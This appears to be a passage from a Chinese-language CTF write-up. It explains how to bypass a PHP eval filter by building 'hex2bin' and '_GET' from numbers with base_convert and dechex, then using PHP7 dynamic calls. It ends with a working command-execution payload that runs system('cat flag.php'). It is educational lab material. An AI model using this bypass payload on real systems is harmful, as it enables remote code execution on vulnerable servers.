num 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

在36进制中是包含a-z、0-9的,我们通过以上网站进行转换,尝试构造出 hex2bin

https://tool.oschina.net/hexconvert

image-20231026192711497

32进制 hex2bin 得到的十进制为:37907361743,我们这里使用 base_convert 函数进行转换,即可得到hex2bin

代码示例:

1
2
<?php
echo base_convert(37907361743,10,36); // 输出结果: hex2bin

dechex

将十进制转为十六进制

参数 说明
num 要转换的十进制值

代码示例:

1
2
<?php 
echo dechex(10); // 输出结果: A

PHP7特性了解

特性一:函数其他的调用方式

在PHP7版本中,函数的调用以及传参可以使用如下方法:

1
2
3
4
5
6
<?php
// 比如这里我们需要使用system函数执行系统的命令 whoami, 正常情况下,我们需要这么写:
system('whoami');
// 但是在PHP7版本中,我们还可以这么写:
('system')('whoami');
?>

image-20231026193948351

在上图中可以看到,两者均可实现相同的功能。

特性二:动态变量调用

代码如下:

1
2
3
<?php
$a = '_GET';
var_dump($$a);

image-20231026194748275

可以发现,当我们构造出字符串 GET、然后将其赋值给变量 $a,接在在使用$a变量的时候,在其前面加上$,即$$a,即可实现 $_GET 的效果。

image-20231026194939314

再看第二个图片:

image-20231026195736886

可以看到,我们在PHP中可以使用 $$a{name} 接收通过 GET 请求传入的 name 参数,但是前提 $a 变量的值为GET

题解

PAYLOAD:

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php

image-20231027184942963

释义:

1
2
3
4
5
6
$pi=base_convert(37907361743,10,36) // 得到: hex2bin 

$pi=base_convert(37907361743,10,36)(dechex(1598506324)); // 构造出 hex2bin(dechex(1598506324)) 得到 _GET

$$pi{abs} // 得到 $_GET[abs]
$$pi{abs}($$pi{acos}) // 传入 abs=system&acos=ls 得到system(ls);

最终被带入题目中的 eval 函数中,因此字符串可以直接解析为PHP代码执行,实际执行的内容如下:

image-20231027190256892

最终达到命令的执行。